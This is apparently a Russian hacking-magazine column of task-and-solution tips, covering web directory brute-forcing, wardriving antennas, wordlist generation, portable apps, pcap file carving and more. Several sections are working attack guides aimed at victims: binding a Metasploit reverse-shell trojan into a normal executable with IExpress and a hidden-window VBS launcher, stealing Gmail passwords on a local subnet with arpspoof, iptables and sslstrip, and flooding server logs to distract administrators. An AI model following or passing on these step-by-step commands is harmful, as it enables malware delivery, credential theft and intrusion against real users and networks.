Задача: Найти скрытые директории и файлы на веб-сервере

 

Решение

Очень часто при взломе необходимо обнаружить скрытые файлы и директории на сервере. Например, спрятанную CMS-админку, файлики с конфигами или какой-то другой критической информацией, которые не были должным образом спрятаны или удалены. Для начала, конечно же, стоит воспользоваться всевидящим Гуглом (или аналогичным поисковиком) с его операторами site, inurl, filetype и т.д., надеясь на то, что админ забыл ограничить его. Но есть и более злые методы. Представляю тебе многопоточный URL-брутфорсер DirBuster, являющийся частью OWASP (owasp.org/index.php/Category:OWASP_DirBuster_Project).

Это Java-приложение отличается достаточно широкими возможностями и отличной производительностью (обещают до 6000 запросов)! У меня вышло в среднем 300 запросов в секунду при стандартных настройках производительности.

Перечислю основные фичи:

  1. Рекурсивный поиск директорий и файлов, начиная с любой директории;
  2. Поддержка прокси;
  3. Поддержка HTTP-аутентификации;
  4. Подделка HTTP-заголовков;
  5. URL fuzzing;
  6. Перебор вариантов как по словарям, так и по символам.

Программа проста в использовании, поясню только одну опцию. Сейчас для навигации очень часто используются всевозможные скрипты, поэтому прямые пути к файлам недоступны. Тут нам и поможет URL fuzzing. Все, что от нас требуется — это указать, какую часть URL следует перебирать, используя пометку {dir}.

Например:

/show.php?p={dir}.html

И программа вместо {dir} будет подставлять значения из своей базы. Признаюсь, что при всей своей крутости программа сыровата. В последней версии (1.0rc1) — злой глюк в рекурсии, поэтому иногда можно использовать предыдущую версию (0.12). Стандартные базы слов содержат очень много мусора.

И, что хуже всего, хоть программа и имеет возможность работы без GUI через консоль, но ее возможности в этом случае очень ограничены. А так — цены бы ей не было. И еще, в связи с производительностью и объемом запросов (см. рисунок), которые DirBuster отправляет при сканировании, можно использовать его для засорения логов, таким образом отвлекая админов от реального вектора атаки.

 

Задача: Подключить внешнюю антенну к компьютеру или ноутбуку

 

Решение

Тема вардрайвинга нынче модна, и интерес к ней очень велик. Мануалы сведены «до кликов», попробовать себя хочет каждый. Но стандартных встроенных антенн в ноутбуках не хватает, особенно если хочется для начала попрактиковаться, и чтобы со всеми удобствами — из дома, а лишние денежные затраты хочется свести к минимуму. Сделать свою собственную антенну нетрудно — в Сети полно мануалов, и ты можешь найти подходящую и по силе приема, и по своим навыкам, и по размерам загогулину. Другое дело — присоединить ее к самому ноутбуку. Вообще, в ноутбуке на WiFi-карте обычно есть «выход» на внешнюю антенну, помеченный как «aux». И все, что нам требуется — припаять к нему коаксиальный провод, а другой его конец — к разъему для антенны. Сам разъем закрепляется на корпусе ноутбука.

Более подробное описание с картинками есть тут:
habrahabr.ru/blogs/modding/46483/

Если у тебя нет «сгоревшего d-link’а», как описано в статье, то все необходимое можешь найти в магазине типа «Мегачип» или «Чип и Дип». Там же могут подсказать, что тебе конкретно необходимо. Но лично я паяльник только на картинках видел. А в WiFi, как известно, сверхвысокие частоты, потому неумеючи можно либо спаять с гигантскими потерями в силе сигнала, либо вообще испортить карточку.

Но есть другой экономный вариант — использовать мини USB WiFi-адаптер (в простонародье — «свисток»). Размером он с флешку, стоит от 500 руб.

Отличный вариант, особенно с учетом того, что его можно повестить на USB-удлинитель, не боясь потери силы сигнала. А стандарт USB поддерживает провода до 5 метров, что позволяет дотянуть «свисток», например, до окна. Есть «свистки» с выходами на внешнюю антенну. Но самое забавное — возможность совмещения баночной антенны и WiFi-«свистка», что дает +5 dBi. Просто, доступно и практично для дома. Инструкция с картинками:korolshop.narod.ru/WiFi/wifi.htm

При выборе «свистка» загляни на форум античата. Там есть список WiFi-адапетров и «свистков», которые лучше всего подходят для вардрайвинга.forum.antichat.ru/showthread.php?t=57249

Дополнительный бонус: если ты извращаешься и запускаешь BackTrack на виртуалке от VMware, то со встроенными WiFi-картами у тебя ничего не получится, ибо BackTrack их не увидит (проблемы с эмуляцией WiFi). А вот «свисток» на чипсете rt2570 или rt73 и обнаруживается, и поддерживает необходимые функции.

 

Задача: Создать свой словарь для брутфорсера

 

Решение

Сейчас существует множество всевозможных брутфорсеров. Некоторые из них поддерживают посимвольный и словарный перебор, использование регулярных выражений, но не все. А что, если наделить брутфорсер такими возможностями? А иногда бывает необходимо создать специфический словарь, если известны какие-то символы пароля или, например, привычки человека.

Как вариант, можно заюзать такую тулзу как crunch. Что приятно — она входит в BackTrack и довольно динамично развивается. Последняя версия на момент подготовки материала рубрики — 2.4 — есть на диске.

А скачать ее можно тут:
sourceforge.net/projects/crunch-wordlist/

На входе задаешь необходимую спецификацию, в итоге получаешь словарь (файлом или через stdout), который можно запихнуть в любой брутфорсер, например, в вышеописанный DirBuster. Возможности широки, поэтому приведу только пару примеров, чтобы ты проникся этой тулзой и вспомнил о ней, когда возникнет необходимость.

./crunch 4 6 -f charset.lst mixalpha-space -o START -c 100000

где 4 и 6 — минимальная и максимальная длина слова в словаре,

-f charset.lst mixalpha-space — набор символов из charset.lst, который нужно использовать, в данном случае — алфавит в обоих регистрах и пробел.

-o START -c 500000 создаст несколько файлов, разбивая твой словарь по 100000 записей в каждом.

Если словарь создается очень долго, то ты можешь остановить, а потом возобновить процесс, используя предыдущую команду с аргументов –r. Кстати, charset.lst можно поменять и настроить под себя, введя, к примеру, поддержку русского языка. В этом файле наборы символов перечисляются в квадратных скобках и нарекаются именем, чтобы к ним можно было потом обратиться из crunch’а. Таким образом, добавив в этот файл строку следующего вида:

rualpha=[абвгдеежзийклмнопрстуфхшщьъэюя]

мы добавим возможность создавать чисто русские словари, указывая rualpha в
качестве аргумента к crunch’у.

./crunch 7 7 -t @DOG@%^ ABCDabcd 1369 @#$%^ -o wordlist.txt

Итог примера:

cDOGd9%
cDOGd9^
dDOGA1@
dDOGA1#

Данной командой ты создашь словарь из семи символьных слов по заданному шаблону(-t), где @ заменяется алфавитным символом, % — цифрой, ^ — спецсимволом из указанных наборов символов. Итог запишется в wordlist.txt. Следующая команда создаст словарь из всевозможных комбинаций слов после аргумента –m. Указывать длину слова надо обязательно, хотя она и не учитывается:

./crunch 1 1 -m Happy Birthday Masha

Итог примера:

MashaBirthdayHappy
MashaHappyBirthday
BirthdayMashaHappy

 

Задача: Создать portable-версию любимой программы

 

Решение

Очень часто появляется необходимость иметь любимое ПО под рукой, например, на флешке, чтобы установленный софт не оставил после себя следов. Но настоящие portable-версии ПО производители редко создают. Можно самому «собрать» программу после ее установки, но искать все ее части, разбросанные по системе, перенастраивать — дело неблагодарное. В этом деле нам поможет ThinApp (раньше называлась Thinstall) от VMWare. С официального сайта можно скачать триал-версию, но если т0ебе не требуется что-то исключительное, например, поддержка Win7 или 64-битных систем, то можешь нарыть версию 3.х, которая удовлетворит большинство пожеланий.

Идея такова: ThinApp сканирует реестр и файловую систему твоей ОС до установки необходимой тебе программы и после, прослеживает изменения, внесенные ею, и создает контейнер — портативную виртуальную ОС вместе со всеми частями твоей программы, реестром. То есть, после запуска получившегося exe’шника откроется твоя программа в виртуальной среде окружения. Для примера я создал и запустил 7, 8 версии IE в XP со стандартной IE6.

От слов — к делу. Одно замечание: желательно все это проводить на чистой системе, то есть без лишнего ПО и со стандартным реестром. Поэтому используют виртуальную ОС.

  1. Качаем и устанавливаем ThinApp;
  2. Запускаем ThinApp Setup Capture и выполняем предварительное сканирование;
  3. Устанавливаем нужное ПО, если необходимо — перезагружаем комп;
  4. Настраиваем наше ПО;
  5. Удаляем лишние и временные файлы;
  6. Запускаем пост-сканирование в ThinApp;
  7. Устанавливаем точки входа в ПО, то есть основные exe-файлы программы;
  8. Определяем метод изоляции ПО;
  9. Указываем, где физически хранить файлы получившейся «песочницы »;
  10. Вводим название проекта и другие настройки;
  11. Получаем exe-контейнер нашего ПО;
  12. Радуемся!

Вообще, возможностей у ThinApp много. Более тонкая настройка каждого проекта осуществляется посредством файла Package.ini и ##Attributes.ini в папках и перестройкой build.bat
К примеру, в Package.ini можно задать следующее:

[Isolation]
DirectoryIsolationMode=Full

Получившийся контейнер не будет иметь доступа к файловой системе реальной ОС. Из минусов стоит отметить снижение производительности и небольшие ограничения ПО, которое можно виртуализировать.

 

Задача: Спрятать троян в любом exe-файле

 

Решение

В прошлом номере я рассказывал о способе создания трояна с использованием только msfpayload, и о том, как его спрятать с помощью msfencode (части Metasploit), объединив с каким-либо exe-файлом. У этого метода объединения файла есть одна проблема: получившийся exe-файл запускает не программу, с которой был объединен троян, а только его самого, так как происходит изменение точки входа в программу, да и вообще :)… Есть один старый и легальный метод для объединения файлов. И, что приятно, встроенный в винду. Потому ты можешь использовать его и на благое дело.
Имя программы, которой мы воспользуемся — IExpress. Для примера я объединил троян, созданный в прошлом номере, и стандартный калькулятор. Но начну по порядку:

1. Копируем троян (reverse.exe) и калькулятор на рабочий стол;

2. Создаем файл sbd.vbs и пишем в него:

Set wshshell = WScript.CreateObject(«WScript.Shell»)
wshshell.run «calc.exe»,1, False
wshshell.run «reverse.exe»,0,False

Итак, мы создали скрипт на Visual Basic, который по очереди запускает оба наших exe-файла. Параметры, передаваемые wshshell.run:

  1. Имя файла для запуска;
  2. Отображать ли окно программы при запуске, где 0 — нет, 1 — да (есть и другие варианты);
  3. Ждать ли закрытия программы перед выполнением следующего оператора.

После этого мы запускаем iexpress (Пуск ia Выполнить oi iexpress) и следуем указаниям мастера:

  1. Далее — Далее;
  2. Любое название;
  3. Далее — Далее;
  4. Добавляем файлы, которые хотим объединить в пакет (sbd.vbs, reverse.exe, calc.exe);
  5. Выбираем программу для запуска при старте (пока что любую из них);
  6. Далее — Далее;
  7. Вводим путь для сохранения пакета и ставим обе галки (ff1.exe);
  8. Галку на NoRestart;
  9. Далее — Далее.

В результате на рабочем столе должны появиться два файла: настройки ff1. sed и ff1.exe.
Лезем в ff1.sed и меняем там значение AppLaunched на следующее, которое запустит наш vb-скрипт:

AppLaunched=cscript sbd.vbs

Запускаем iexpress и пересоздаем пакет на основе нового SED (выбирается сразу при запуске iexpress). Ярлык для полученного файла можно поменять с помощью редактора ресурсов. На диске есть sed-файл, так что можешь поменять пути внутри на необходимые.

На детектируемость антивирусами запаковка почти не влияет, что логично, так что 18 вместо 21 из 41.

 

Задача: Вынуть файлы из pcapдампа трафика

 

Решение

Программ, которые позволяют выцепить конкретные файлы из pcap-файлов (стандартный формат дампа сетевого трафика), достаточно много. Вот только большинство из них и работают не очень хорошо, и давно не поддерживаются, а выцепляют только картинки да html’ки. Не считая всяких платных продуктов, где все работает «на ура», есть пара достойных и при этом доступных прог. Как ни странно, под Win с этой задачей отлично справился NetworkMiner.

Все, что нужно сделать — открыть в нем требуемый pcap-файл и наслаждаться результатом, раскиданным по разным вкладкам. Он и анализирует быстро, и сортирует все хорошо, и итоги «рабочие».
Из того, что входит в комплект Back Track 4, могу посоветовать разве что foremost да tcpxtract. Но последний надо устанавливать из репозитория, и не обновляется он уже давно.

Пример:

foremost -i dump.pcap

Где -i dump.pcap — путь до pcap-файла с дампом трафика. Глобальные настройки производятся с помощью файла /etc/foremost.conf.

 

Задача: Украсть логин и пароль от gmail и аналогичных сервисов, находясь в одной подсети с жертвой

 

Решение

Для решения данной проблемы я напомню тебе способ, предложенный на Black Hat DC 2009 с использованием sslstrip.
Конечно, возможность приблизиться к жертве на расстояние «одной подсети» появляется не так часто, но, в то же время, взломав хотя бы одну машину из подсетки, мы получим доступ к данным всех остальных.

Нам понадобится:

  1. sslstrip;
  2. arpspoof.

Я воспользовался BackTrack’ом, где ПО уже установлено.

В примере:

  1. 192.168.0.1 — основной шлюз;
  2. 192.168.0.101 — жертва;
  3. 192.168.0.102 — хакер.

Итак, начнем:

arpspoof -i eth0 -t 192.168.0.101 192.168.0.1

Перед отправкой каких-либо данных во внешнюю сеть жертва делает ARP-запрос, чтобы узнать MAC-адрес шлюза. Данной командой мы массово отправляем ARP-ответы нашей жертве о том, что шлюз реально находится по нашему, хакерскому, MAC-адресу. Таким образом, жертва думает, что 192.168.0.1 расположен по МАС-адресу хакера, потому все пакеты отправляет нам, а не на шлюз. Вообще, возможность проведения спуфинга зависит от организации сети и настроек маршрутизации.

Далее нам нужно, чтобы весь трафик жертвы от нас перенаправлялся на реальный шлюз, для этого пишем:

echo "1" > /proc/sys/net/ipv4/ip_forward

Вобщем-то для того, чтобы украсть пароли из HTTP и FTP-соединений, к примеру, этого хватило бы. Запустив любой сниффер, мы просто вылавливаем необходимую нам инфу.
Но хуже дело обстоит с протоколами, которые поддерживают шифрование типа HTTPS c его SSL и TLS. Как же тут быть?

Для HTTPS-протокола мы можем сделать что-то вроде поддельного HTTP/ HTTPS прокси-сервера. То есть данные от жертвы будут отправляться не сразу на шлюз, а сначала на sslstrip, точнее, устанавливать с ним незащищенное HTTP-соединение, а сам sslstrip уже будет устанавливать защищенное соединение с Gmail и редиректить данные от жертвы. Для этого нам потребуется, во-первых, сделать редирект HTTP-трафика на наш «прокси».

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-port 8080

Этой командой мы редиректим весь TCP-трафик, приходящий на 80 порт, на наш 8080.

Далее запускаем сервер sslstrip на (аргумент -l) 8080 порте и указываем, чтобы он вел лог всего трафика в файл sslstrip.log (аргумент -a):

sslstrip -a -l 8080

Пароли и другую интересную информацию ищем в sslstrip.log. Сам метод имеет ряд нюансов и ограничений, связанных с кэшированием данных браузером, кукисами, прямым выходом на HTTPS-соединение и т.д. Признаюсь, что во время тестирования стабильности в результатах sslstrip я не добился, но все же смог украсть пасс и от Gmail’а, и от админки к серверу.

К тому же я проводил опыты на версии 0.2 (в поставке BT4), а последняя версия на время написания статьи — 0.7. В ней появилось много разных дополнительных вкусностей, так что прикладываю именно 0.7.

Оставить мнение

Check Also

Мошенничество по воздуху. Разбираем возможность Cryptogram Replay Attack в Apple Pay

Задача платежной системы — списать нужную сумму в пользу продавца со счета верное число ра…